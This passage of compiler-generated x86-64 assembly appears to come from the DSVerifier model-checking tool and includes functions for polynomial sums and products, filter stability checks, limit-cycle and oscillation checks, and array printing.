sub rdx, rcx
.L131:
cmp rsp, rdx
je .L132
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L131
.L132:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L133
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L133:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -128[rbp], 0
jmp .L134
.L135:
mov eax, DWORD PTR -128[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -128[rbp], 1
.L134:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -156[rbp]
jl .L135
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
mov DWORD PTR -128[rbp], 0
jmp .L136
.L137:
mov eax, DWORD PTR -128[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd xmm1, QWORD PTR -104[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
add DWORD PTR -128[rbp], 1
.L136:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -156[rbp]
jl .L137
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -104[rbp]
jb .L169
lea rdi, .LC14[rip]
mov eax, 0
call printf@PLT
mov eax, 0
jmp .L140
.L169:
pxor xmm0, xmm0
movsd QWORD PTR -104[rbp], xmm0
mov DWORD PTR -128[rbp], 0
jmp .L141
.L142:
mov eax, DWORD PTR -128[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
movsd xmm4, QWORD PTR [rax]
movsd QWORD PTR -176[rbp], xmm4
mov eax, DWORD PTR -156[rbp]
sub eax, 1
sub eax, DWORD PTR -128[rbp]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
mulsd xmm0, QWORD PTR -176[rbp]
movsd xmm1, QWORD PTR -104[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
add DWORD PTR -128[rbp], 1
.L141:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -156[rbp]
jl .L142
mov eax, DWORD PTR -156[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
movsd xmm1, QWORD PTR -104[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -104[rbp]
jb .L170
lea rdi, .LC16[rip]
mov eax, 0
call printf@PLT
mov eax, 0
jmp .L140
.L170:
mov eax, DWORD PTR -156[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movq xmm0, rax
call internal_abs
movq rax, xmm0
mov rdx, QWORD PTR -152[rbp]
movsd xmm0, QWORD PTR [rdx]
movq xmm5, rax
comisd xmm5, xmm0
jbe .L171
lea rdi, .LC17[rip]
mov eax, 0
call printf@PLT
mov eax, 0
jmp .L140
.L171:
mov DWORD PTR -128[rbp], 0
jmp .L147
.L150:
mov DWORD PTR -132[rbp], 0
jmp .L148
.L149:
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -132[rbp]
movsx rsi, edx
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -132[rbp], 1
.L148:
mov eax, DWORD PTR -132[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L149
add DWORD PTR -128[rbp], 1
.L147:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L150
mov DWORD PTR -128[rbp], 0
jmp .L151
.L159:
mov DWORD PTR -132[rbp], 0
jmp .L152
.L158:
cmp DWORD PTR -128[rbp], 0
jne .L153
mov eax, DWORD PTR -132[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -152[rbp]
add rax, rdx
mov rcx, rbx
shr rcx, 3
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -132[rbp]
movsx rsi, edx
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
jmp .L154
.L153:
mov eax, DWORD PTR -128[rbp]
and eax, 1
test eax, eax
je .L155
mov DWORD PTR -120[rbp], 0
jmp .L156
.L157:
mov rsi, rbx
shr rsi, 3
mov eax, DWORD PTR -128[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -124[rbp]
sub eax, DWORD PTR -120[rbp]
lea edi, -1[rax]
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
movsx rdi, edi
movsx rdx, edx
imul rdx, rsi
add rdx, rdi
movsd xmm0, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -120[rbp]
movsx rsi, edx
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -120[rbp], 1
.L156:
mov eax, DWORD PTR -120[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L157
sub DWORD PTR -124[rbp], 1
mov eax, DWORD PTR -124[rbp]
mov DWORD PTR -132[rbp], eax
jmp .L154
.L155:
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -128[rbp]
lea esi, -2[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -132[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm0, QWORD PTR [rax+rdx*8]
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -128[rbp]
lea esi, -2[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -124[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm1, QWORD PTR [rax+rdx*8]
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -128[rbp]
lea edx, -2[rax]
mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
imul rdx, rcx
movsd xmm3, QWORD PTR [rax+rdx*8]
movapd xmm2, xmm1
divsd xmm2, xmm3
mov rcx, rbx
shr rcx, 3
mov eax, DWORD PTR -128[rbp]
lea esi, -1[rax]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -132[rbp]
movsx rdi, edx
movsx rdx, esi
imul rdx, rcx
add rdx, rdi
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm1, xmm2
mov rcx, rbx
shr rcx, 3
subsd xmm0, xmm1
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -132[rbp]
movsx rsi, edx
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
imul rdx, rcx
add rdx, rsi
movsd QWORD PTR [rax+rdx*8], xmm0
.L154:
add DWORD PTR -132[rbp], 1
.L152:
mov eax, DWORD PTR -132[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L158
add DWORD PTR -128[rbp], 1
.L151:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L159
mov rax, QWORD PTR -80[rbp]
movsd xmm0, QWORD PTR [rax]
pxor xmm1, xmm1
comisd xmm0, xmm1
setnb al
movzx eax, al
mov DWORD PTR -112[rbp], eax
mov DWORD PTR -128[rbp], 0
jmp .L160
.L163:
mov eax, DWORD PTR -128[rbp]
and eax, 1
test eax, eax
jne .L161
mov rcx, rbx
shr rcx, 3
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
imul rdx, rcx
movsd xmm0, QWORD PTR [rax+rdx*8]
pxor xmm1, xmm1
comisd xmm0, xmm1
setnb al
movzx eax, al
mov DWORD PTR -108[rbp], eax
mov eax, DWORD PTR -112[rbp]
cmp eax, DWORD PTR -108[rbp]
je .L172
mov eax, 0
jmp .L140
.L172:
nop
.L161:
add DWORD PTR -128[rbp], 1
.L160:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L163
mov eax, 1
.L140:
mov rsp, QWORD PTR -200[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L165
call __stack_chk_fail@PLT
.L165:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE44:
.size check_stability, .-check_stability
.globl poly_sum
.type poly_sum, @function
poly_sum:
.LFB45:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov QWORD PTR -40[rbp], rdx
mov DWORD PTR -32[rbp], ecx
mov QWORD PTR -48[rbp], r8
mov DWORD PTR -52[rbp], r9d
mov eax, DWORD PTR -28[rbp]
cmp DWORD PTR -32[rbp], eax
cmovge eax, DWORD PTR -32[rbp]
mov DWORD PTR -52[rbp], eax
mov DWORD PTR -4[rbp], 0
jmp .L174
.L177:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -32[rbp]
jle .L175
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -32[rbp]
cmp DWORD PTR -4[rbp], eax
jl .L176
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -28[rbp]
mov edx, eax
mov eax, DWORD PTR -32[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
jmp .L176
.L175:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -28[rbp]
cmp DWORD PTR -4[rbp], eax
jl .L176
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
sub eax, DWORD PTR -32[rbp]
mov edx, eax
mov eax, DWORD PTR -28[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
.L176:
add DWORD PTR -4[rbp], 1
.L174:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L177
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE45:
.size poly_sum, .-poly_sum
.globl poly_mult
.type poly_mult, @function
poly_mult:
.LFB46:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov QWORD PTR -40[rbp], rdx
mov DWORD PTR -32[rbp], ecx
mov QWORD PTR -48[rbp], r8
mov DWORD PTR -52[rbp], r9d
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -52[rbp], eax
mov DWORD PTR -12[rbp], 0
jmp .L179
.L182:
mov DWORD PTR -8[rbp], 0
jmp .L180
.L181:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
add eax, edx
sub eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -8[rbp]
sub eax, 2
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR [rax], xmm0
add DWORD PTR -8[rbp], 1
.L180:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -32[rbp]
jl .L181
add DWORD PTR -12[rbp], 1
.L179:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L182
mov DWORD PTR -12[rbp], 0
jmp .L183
.L186:
mov DWORD PTR -8[rbp], 0
jmp .L184
.L185:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -32[rbp]
add eax, edx
sub eax, DWORD PTR -12[rbp]
sub eax, DWORD PTR -8[rbp]
sub eax, 2
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -12[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
sub eax, DWORD PTR -8[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm2
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -8[rbp], 1
.L184:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -32[rbp]
jl .L185
add DWORD PTR -12[rbp], 1
.L183:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L186
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE46:
.size poly_mult, .-poly_mult
.section .rodata
.align 8
.LC18:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
.align 8
.LC19:
.string "!(window_count == window_size)"
.text
.globl double_check_oscillations
.type double_check_oscillations, @function
double_check_oscillations:
.LFB47:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov rax, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
ucomisd xmm0, xmm1
setp al
mov edx, 1
ucomisd xmm0, xmm1
cmovne eax, edx
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -24[rbp], 0
mov DWORD PTR -20[rbp], 0
mov DWORD PTR -16[rbp], 2
jmp .L188
.L196:
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -8[rbp], eax
mov DWORD PTR -12[rbp], 0
jmp .L189
.L195:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -8[rbp]
jle .L190
mov DWORD PTR -24[rbp], 0
mov DWORD PTR -20[rbp], 0
.L190:
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -8[rbp]
add eax, edx
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -44[rbp]
jge .L198
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
ucomisd xmm0, xmm1
jp .L192
ucomisd xmm0, xmm1
jne .L192
add DWORD PTR -20[rbp], 1
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -8[rbp]
jne .L192
lea rcx, __PRETTY_FUNCTION__.19[rip]
mov edx, 209
lea rsi, .LC18[rip]
lea rdi, .LC19[rip]
call __assert_fail@PLT
.L192:
add DWORD PTR -24[rbp], 1
add DWORD PTR -12[rbp], 1
.L189:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L195
jmp .L194
.L198:
nop
.L194:
add DWORD PTR -16[rbp], 1
.L188:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L196
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE47:
.size double_check_oscillations, .-double_check_oscillations
.section .rodata
.LC20:
.string "window_size %d\n"
.LC21:
.string "%.0f == %.0f\n"
.LC22:
.string "desired_elements %d\n"
.LC23:
.string "found_elements %d\n"
.text
.globl double_check_limit_cycle
.type double_check_limit_cycle, @function
double_check_limit_cycle:
.LFB48:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -28[rbp], 0
mov DWORD PTR -24[rbp], 1
mov eax, DWORD PTR -44[rbp]
sub eax, 2
mov DWORD PTR -28[rbp], eax
jmp .L200
.L205:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
ucomisd xmm0, QWORD PTR -8[rbp]
jp .L213
comisd xmm0, QWORD PTR -8[rbp]
jne .L213
jmp .L204
.L213:
add DWORD PTR -24[rbp], 1
sub DWORD PTR -28[rbp], 1
.L200:
cmp DWORD PTR -28[rbp], 0
jns .L205
.L204:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -44[rbp]
je .L206
cmp DWORD PTR -24[rbp], 1
je .L206
mov eax, 1
jmp .L207
.L206:
mov eax, 0
.L207:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -24[rbp]
mov esi, eax
lea rdi, .LC20[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -24[rbp]
add eax, eax
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -20[rbp], 0
mov eax, DWORD PTR -44[rbp]
sub eax, 1
mov DWORD PTR -28[rbp], eax
jmp .L208
.L212:
mov eax, DWORD PTR -44[rbp]
sub eax, DWORD PTR -24[rbp]
cmp DWORD PTR -28[rbp], eax
jl .L209
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC21[rip]
mov eax, 2
call printf@PLT
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 0
jle .L210
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
sub eax, DWORD PTR -24[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
ucomisd xmm0, xmm1
jp .L210
ucomisd xmm0, xmm1
jne .L210
add DWORD PTR -20[rbp], 2
.L209:
sub DWORD PTR -28[rbp], 1
.L208:
cmp DWORD PTR -28[rbp], 0
jns .L212
.L210:
mov eax, DWORD PTR -16[rbp]
mov esi, eax
lea rdi, .LC22[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -20[rbp]
mov esi, eax
lea rdi, .LC23[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -20[rbp]
setne al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE48:
.size double_check_limit_cycle, .-double_check_limit_cycle
.globl double_check_persistent_limit_cycle
.type double_check_persistent_limit_cycle, @function
double_check_persistent_limit_cycle:
.LFB49:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 88
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -120[rbp], rdi
mov DWORD PTR -124[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov DWORD PTR -92[rbp], 0
mov DWORD PTR -96[rbp], 0
mov DWORD PTR -88[rbp], 0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -80[rbp], xmm0
mov DWORD PTR -92[rbp], 0
jmp .L216
.L222:
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
ucomisd xmm0, QWORD PTR -80[rbp]
jp .L238
comisd xmm0, QWORD PTR -80[rbp]
je .L240
.L238:
add DWORD PTR -88[rbp], 1
jmp .L219
.L240:
cmp DWORD PTR -88[rbp], 0
jne .L242
add DWORD PTR -96[rbp], 1
.L219:
add DWORD PTR -92[rbp], 1
.L216:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L222
jmp .L221
.L242:
nop
.L221:
mov eax, DWORD PTR -96[rbp]
add DWORD PTR -88[rbp], eax
cmp DWORD PTR -88[rbp], 1
jle .L223
mov eax, DWORD PTR -124[rbp]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
cmp DWORD PTR -88[rbp], eax
jg .L223
mov eax, 1
jmp .L224
.L223:
mov eax, 0
.L224:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR -88[rbp]
mov rdx, rsp
mov rbx, rdx
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L225:
cmp rsp, rdx
je .L226
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L225
.L226:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L227
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L227:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -92[rbp], 0
jmp .L228
.L230:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -88[rbp]
jge .L229
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -92[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
.L229:
add DWORD PTR -92[rbp], 1
.L228:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L230
mov DWORD PTR -92[rbp], 0
mov DWORD PTR -84[rbp], 0
mov BYTE PTR -97[rbp], 0
jmp .L231
.L236:
mov eax, DWORD PTR -92[rbp]
lea edx, 1[rax]
mov DWORD PTR -92[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -84[rbp]
lea edx, 1[rax]
mov DWORD PTR -84[rbp], edx
mov rdx, QWORD PTR -64[rbp]
cdqe
movsd xmm1, QWORD PTR [rdx+rax*8]
ucomisd xmm0, xmm1
jp .L232
ucomisd xmm0, xmm1
jne .L232
mov BYTE PTR -97[rbp], 1
mov eax, DWORD PTR -84[rbp]
cmp eax, DWORD PTR -88[rbp]
jne .L231
jmp .L241
.L232:
mov BYTE PTR -97[rbp], 0
jmp .L235
.L241:
mov DWORD PTR -84[rbp], 0
.L231:
mov eax, DWORD PTR -92[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L236
.L235:
movzx eax, BYTE PTR -97[rbp]
test eax, eax
setne al
xor eax, 1
movzx eax, al
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov rsp, rbx
nop
mov rax, QWORD PTR -56[rbp]
sub rax, QWORD PTR fs:40
je .L237
call __stack_chk_fail@PLT
.L237:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE49:
.size double_check_persistent_limit_cycle, .-double_check_persistent_limit_cycle
.section .rodata
.LC24:
.string " %.32f "
.text
.globl print_array_elements
.type print_array_elements, @function
print_array_elements:
.LFB50:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -4[rbp], 0
jmp .L244
.L245:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
movq xmm0, rax
lea rdi, .LC24[rip]
mov eax, 1
call printf@PLT
add DWORD PTR -4[rbp], 1
.L244:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L245
lea rdi, .LC12[rip]
call puts@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE50:
.size print_array_elements, .-print_array_elements
.globl double_add_matrix
.type double_add_matrix, @function
double_add_matrix:
.LFB51:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov QWORD PTR -32[rbp], rdx
mov QWORD PTR -40[rbp], rcx
mov QWORD PTR -48[rbp], r8
mov DWORD PTR -8[rbp], 0
jmp .L247
.L250:
mov DWORD PTR -4[rbp], 0
jmp .L248
.L249:
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
movsd xmm1, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -8[rbp]
